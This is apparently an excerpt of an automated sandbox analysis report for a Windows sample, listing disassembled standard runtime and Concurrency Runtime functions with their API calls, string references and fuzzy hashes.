Opcode Fuzzy Hash: 922a2dd1448a5ec672de729c29137a8fc27b2943f4b4aaf69956ccaefb2f6592
Instruction Fuzzy Hash: 0C31A232A00201DFEB206A3AD845B5B73E6EF18315F10642FE485D7691DF78EC94CB19

Function 021BF5C6 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 021BF60A

Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF1C0
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF1D2
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF1E4
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF1F6
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF208
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF21A
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF22C
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF23E
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF250
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF262
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF274
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF286
Part of subcall function 021BF1A3: _free.LIBCMT ref: 021BF298

_free.LIBCMT ref: 021BF5FF

Part of subcall function 021BB05C: HeapFree.KERNEL32(00000000,00000000,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?), ref: 021BB072
Part of subcall function 021BB05C: GetLastError.KERNEL32(?,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?,?), ref: 021BB084

_free.LIBCMT ref: 021BF621
_free.LIBCMT ref: 021BF636
_free.LIBCMT ref: 021BF641
_free.LIBCMT ref: 021BF663
_free.LIBCMT ref: 021BF676
_free.LIBCMT ref: 021BF684
_free.LIBCMT ref: 021BF68F
_free.LIBCMT ref: 021BF6C7
_free.LIBCMT ref: 021BF6CE
_free.LIBCMT ref: 021BF6EB
_free.LIBCMT ref: 021BF703

Strings

`'F, xrefs: 021BF5DC
8"F, xrefs: 021BF6B2

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8"F$`'F
API String ID: 161543041-3117062166
Opcode ID: 922a2dd1448a5ec672de729c29137a8fc27b2943f4b4aaf69956ccaefb2f6592
Instruction ID: c76555661263263d5ef0f4eada66840645e59e3a721c701c149f93f5d31384b0
Opcode Fuzzy Hash: 922a2dd1448a5ec672de729c29137a8fc27b2943f4b4aaf69956ccaefb2f6592
Instruction Fuzzy Hash: E7315D316842019FDB32AA38DC84BEA77FABF00358F104419F868D6DA0DB71A982CB50

Function 0219F28F Relevance: 24.2, APIs: 16, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0219F296
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0219F522

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: H_prolog3std::invalid_argument::invalid_argument
String ID:
API String ID: 1590901807-0
Opcode ID: 6fac62366cbd6f5e6cb8ab906c87716b022ac4ce341200765e397ba53b1eaef3
Instruction ID: 358d5c7b561bde5b7a8fd1d12c6ce5d3a4f3698fa40ccc4dd9e0cfd1e56ad913
Opcode Fuzzy Hash: 6fac62366cbd6f5e6cb8ab906c87716b022ac4ce341200765e397ba53b1eaef3
Instruction Fuzzy Hash: 7981AF31D80218AFDF25DFA8C884BEEB7B5BF05314F244119D815E7681DB38AA46CF91

Function 0041D029 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00465750,00000FA0,?,?,0041D007), ref: 0041D035
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,0041D007), ref: 0041D040
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,0041D007), ref: 0041D051
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0041D063
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0041D071
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,0041D007), ref: 0041D094
___scrt_fastfail.LIBCMT ref: 0041D0A5
RtlDeleteCriticalSection.NTDLL(00465750), ref: 0041D0B0
CloseHandle.KERNEL32(00000000,?,?,0041D007), ref: 0041D0C0

Strings

SleepConditionVariableCS, xrefs: 0041D05D
WakeAllConditionVariable, xrefs: 0041D069
kernel32.dll, xrefs: 0041D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0041D03B

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3578986977-3242537097
Opcode ID: 5773b3b592dab99726245edcd6fa20dcc163fa756fd668b0a9920edcf870acc0
Instruction ID: da8957fb05adf3e2478d3987b837cced664d2ae1275a3d1fb98c7f3dc6632c06
Opcode Fuzzy Hash: 5773b3b592dab99726245edcd6fa20dcc163fa756fd668b0a9920edcf870acc0
Instruction Fuzzy Hash: 1501B575E40B11ABDB211B75AC08F9B3A98DB45B57F140132FC05D22A1EAB9CC41CA6E

Function 004326D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 004326E3

Part of subcall function 004324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00432504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00432704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00432711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0043275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 004327E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 004327F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00432846

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: c59a2110c268144207470cacd74e4257a298ce88abd0f6ffd6155045285da657
Instruction ID: fb03d83531a47042b93fe6564ff1c061b34d3f88821af197b1cf19dfef14ec32
Opcode Fuzzy Hash: c59a2110c268144207470cacd74e4257a298ce88abd0f6ffd6155045285da657
Instruction Fuzzy Hash: 6B81C270900249ABDF169F54CA41BBF7BB1AF0D308F04509AEC4127352C7BA8D16DB65

Function 021B2938 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 021B294A

Part of subcall function 021B2748: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021B276B

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 021B296B
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 021B2978
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 021B29C6
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 021B2A4D
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 021B2A60
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 021B2AAD

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: c59a2110c268144207470cacd74e4257a298ce88abd0f6ffd6155045285da657
Instruction ID: 3c0a4f654e4f8a024cbf19b41666c1cd698ecd85552a4d6809c8f60623fe8efa
Opcode Fuzzy Hash: c59a2110c268144207470cacd74e4257a298ce88abd0f6ffd6155045285da657
Instruction Fuzzy Hash: 3281B234940249AFDF27DFA4CA50BFE7B72AF4A348F040098EC516B251C776895EDB62

Function 021A4745 Relevance: 22.7, APIs: 15, Instructions: 189timeregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 021A474C
ListArray.LIBCONCRT ref: 021A479F

Part of subcall function 021A4580: RtlInitializeSListHead.NTDLL(?), ref: 021A464C
Part of subcall function 021A4580: RtlInitializeSListHead.NTDLL(?), ref: 021A4656

ListArray.LIBCONCRT ref: 021A47D3
Hash.LIBCMT ref: 021A483C
Hash.LIBCMT ref: 021A484C
RtlInitializeSListHead.NTDLL(?), ref: 021A48E1
RtlInitializeSListHead.NTDLL(?), ref: 021A48EE
RtlInitializeSListHead.NTDLL(?), ref: 021A48FB
RtlInitializeSListHead.NTDLL(?), ref: 021A4908

Part of subcall function 021A9EA8: std::bad_exception::bad_exception.LIBCMT ref: 021A9ECA

RegisterWaitForSingleObject.KERNEL32(?,00000000,00427A15,?,000000FF,00000000), ref: 021A4990
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 021A49B2
GetLastError.KERNEL32(021A56F2,?,?,00000000,?,?), ref: 021A49C4
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 021A49E1

Part of subcall function 0219FE11: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,021A56F2,00000008,?,021A49E6,?,00000000,00427A06,?,7FFFFFFF,7FFFFFFF,00000000), ref: 0219FE29

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 021A4A0B

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorH_prolog3LastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 1224710184-0
Opcode ID: cff4f1584c67b4dd39a057eedf59500e630592c2a8e2e850217cf0530dd3835e
Instruction ID: 1597d3108b691a2d57c435a9794f50a68db4dae275f5dfcc21cdfd2ebfc7d253
Opcode Fuzzy Hash: cff4f1584c67b4dd39a057eedf59500e630592c2a8e2e850217cf0530dd3835e
Instruction Fuzzy Hash: D5815AB4A51B62BFD708DF74C854BD9FBA9BF09710F10421AE42897280DBB5A264CFD1

Function 004244DE Relevance: 21.2, APIs: 14, Instructions: 189timeregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00424538

Part of subcall function 00424319: RtlInitializeSListHead.NTDLL(?), ref: 004243E5
Part of subcall function 00424319: RtlInitializeSListHead.NTDLL(?), ref: 004243EF

ListArray.LIBCONCRT ref: 0042456C
Hash.LIBCMT ref: 004245D5
Hash.LIBCMT ref: 004245E5
RtlInitializeSListHead.NTDLL(?), ref: 0042467A
RtlInitializeSListHead.NTDLL(?), ref: 00424687
RtlInitializeSListHead.NTDLL(?), ref: 00424694
RtlInitializeSListHead.NTDLL(?), ref: 004246A1

Part of subcall function 00429C41: std::bad_exception::bad_exception.LIBCMT ref: 00429C63

RegisterWaitForSingleObject.KERNEL32(?,00000000,00427A15,?,000000FF,00000000), ref: 00424729
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0042474B
GetLastError.KERNEL32(0042548B,?,?,00000000,?,?), ref: 0042475D
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 0042477A

Part of subcall function 0041FBAA: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,0042548B,00000008,?,0042477F,?,00000000,00427A06,?,7FFFFFFF,7FFFFFFF,00000000), ref: 0041FBC2

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 004247A4

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 2750799244-0
Opcode ID: cff4f1584c67b4dd39a057eedf59500e630592c2a8e2e850217cf0530dd3835e
Instruction ID: 8edcf0d5cb27459604d76cf7b2957bb715be8d06604c13dd231c773c6d0fd610
Opcode Fuzzy Hash: cff4f1584c67b4dd39a057eedf59500e630592c2a8e2e850217cf0530dd3835e
Instruction Fuzzy Hash: 37816EB0B10B22AAD708DF75D845BD9FBA8BF49704F50021FF42897281CBB8A564CBD5

Function 00422832 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 00422841

Part of subcall function 00423B2C: GetVersionExW.KERNEL32(?), ref: 00423B50
Part of subcall function 00423B2C: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 00423BEF

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00422855
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00422876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 004228DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00422913

Part of subcall function 004207ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0042080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00422993

Part of subcall function 0042235C: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00422370

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 004229DB

Part of subcall function 004207C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 004207DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 004229EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00422A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00422A4D
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 00422A72
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00422A7E

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: 9abd196dbe3760ed533f204942a39c663444424dc11bb6fb8cf1de85ffcec6e8
Instruction ID: e80cf76bb90d4b83ff5cf9a0939ff877604985d568bc9a9fcea241cccaa3ebda
Opcode Fuzzy Hash: 9abd196dbe3760ed533f204942a39c663444424dc11bb6fb8cf1de85ffcec6e8
Instruction Fuzzy Hash: 0481BF71B00526ABCB18DF69FA9057EB7F1BB48704B94403ED441A3741EBB8A981CB9D

Function 021A2A99 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 021A2AA8

Part of subcall function 021A3D93: GetVersionExW.KERNEL32(?), ref: 021A3DB7
Part of subcall function 021A3D93: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 021A3E56

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 021A2ABC
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 021A2ADD
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 021A2B46
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 021A2B7A

Part of subcall function 021A0A54: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 021A0A74

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 021A2BFA

Part of subcall function 021A25C3: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 021A25D7

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 021A2C42

Part of subcall function 021A0A29: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 021A0A45

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 021A2C56
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 021A2C67
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 021A2CB4
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 021A2CD9
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 021A2CE5

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: 9abd196dbe3760ed533f204942a39c663444424dc11bb6fb8cf1de85ffcec6e8
Instruction ID: aaf0472250220cf9ddfe9408ebfabcb2fbfa269678f475d45066051b3ae87f82
Opcode Fuzzy Hash: 9abd196dbe3760ed533f204942a39c663444424dc11bb6fb8cf1de85ffcec6e8
Instruction Fuzzy Hash: CB81C479A8151A9FCB28DFA8D8B06BDB7F2BB48704F24403DD842E7344E771A944CB95

Function 0041FA71 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,00423BE6), ref: 0041FA7F
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 0041FA8D
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 0041FA9B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 0041FAC9
GetLastError.KERNEL32(?,?,?,00423BE6), ref: 0041FAE4
GetLastError.KERNEL32(?,?,?,00423BE6), ref: 0041FAF0
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0041FB06

Strings

SetThreadGroupAffinity, xrefs: 0041FA87
GetCurrentProcessorNumberEx, xrefs: 0041FABE
GetThreadGroupAffinity, xrefs: 0041FA93
kernel32.dll, xrefs: 0041FA7A

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: 7fe6c5ece6de4c50eb3fb3b842b885c674e1d20cdf18a0be90147e923e9c19f3
Instruction ID: d2013d26350a1230dd44c523f95b164804869e8c7fe68790ab887d0678fdf32d
Opcode Fuzzy Hash: 7fe6c5ece6de4c50eb3fb3b842b885c674e1d20cdf18a0be90147e923e9c19f3
Instruction Fuzzy Hash: 800165396003116F97107BB5BC4ABAB7AACAD04756724053BF805D2293EAACD449866D

Function 004352A5 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 004353A0
type_info::operator==.LIBVCRUNTIME ref: 004353C7
___TypeMatch.LIBVCRUNTIME ref: 004354D3
CatchIt.LIBVCRUNTIME ref: 00435528
IsInExceptionSpec.LIBVCRUNTIME ref: 004355AE
_UnwindNestedFrames.LIBCMT ref: 00435635
CallUnexpected.LIBVCRUNTIME ref: 00435650

Strings

csm, xrefs: 004352E0
csm, xrefs: 0043534D
csm, xrefs: 004353FE

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: ad1611b132c96cd88c093627677e3344dfa0a654fa7a6ed2c70fbeb10c1165a9
Instruction ID: 7946f23dea792be26d4820a62e4550dff79cbb7357508b3bf55c7f92dc133849
Opcode Fuzzy Hash: ad1611b132c96cd88c093627677e3344dfa0a654fa7a6ed2c70fbeb10c1165a9
Instruction Fuzzy Hash: C3C1AA71800609EFCF19DF95C881AAEBBB5BF1C315F04615BE8156B206C338EA51CF99

Function 021B550C Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 021B5607
type_info::operator==.LIBVCRUNTIME ref: 021B562E
___TypeMatch.LIBVCRUNTIME ref: 021B573A
CatchIt.LIBVCRUNTIME ref: 021B578F
IsInExceptionSpec.LIBVCRUNTIME ref: 021B5815
_UnwindNestedFrames.LIBCMT ref: 021B589C
CallUnexpected.LIBVCRUNTIME ref: 021B58B7

Strings

csm, xrefs: 021B5665
csm, xrefs: 021B5547
csm, xrefs: 021B55B4

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: ad1611b132c96cd88c093627677e3344dfa0a654fa7a6ed2c70fbeb10c1165a9
Instruction ID: 9ae639b5154172238d9096a818c1d8b770631a4f7e5c00f4d93bc8ca62793c38
Opcode Fuzzy Hash: ad1611b132c96cd88c093627677e3344dfa0a654fa7a6ed2c70fbeb10c1165a9
Instruction Fuzzy Hash: 04C15971980209EFCF2ADFA5D880AEEBBBBBF04314F94456AE8156B201D731D951CF91

Function 00432970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00432982

Part of subcall function 004324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00432504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 004329A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 004329B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 004329FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00432AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00432AD8

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: df65faca3598a56f4a1189fa951469fdc42dcddc43790275eedfd99cb695ca9a
Instruction ID: 2c3f4ac1ddb9b2e884700b4006eb7aadb935b7841f65a9e333380771e6a1d96e
Opcode Fuzzy Hash: df65faca3598a56f4a1189fa951469fdc42dcddc43790275eedfd99cb695ca9a
Instruction Fuzzy Hash: 8271BC70A00249AFDF15DF54CA80BBFBBB1AF49308F04509AEC416B352C7B9AD16DB65

Function 021B2BD7 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 021B2BE9

Part of subcall function 021B2748: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 021B276B

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 021B2C0A
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 021B2C17
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 021B2C65
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 021B2D0D
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 021B2D3F

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: df65faca3598a56f4a1189fa951469fdc42dcddc43790275eedfd99cb695ca9a
Instruction ID: 3dc88ab22f3041de0146d481fb469319e009f13abf8a7edabb33531eb5dc731a
Opcode Fuzzy Hash: df65faca3598a56f4a1189fa951469fdc42dcddc43790275eedfd99cb695ca9a
Instruction Fuzzy Hash: 2971DC74940249AFDF17DF68C990BFEBBB6AF49304F044099EC11AB291C732D91ADB61

Function 021AEC90 Relevance: 16.6, APIs: 11, Instructions: 148windowCOMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 021AECE0

Part of subcall function 021A9196: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 021A91B7

Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 021AECF9
Concurrency::location::_Assign.LIBCMT ref: 021AED0F
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 021AED7C
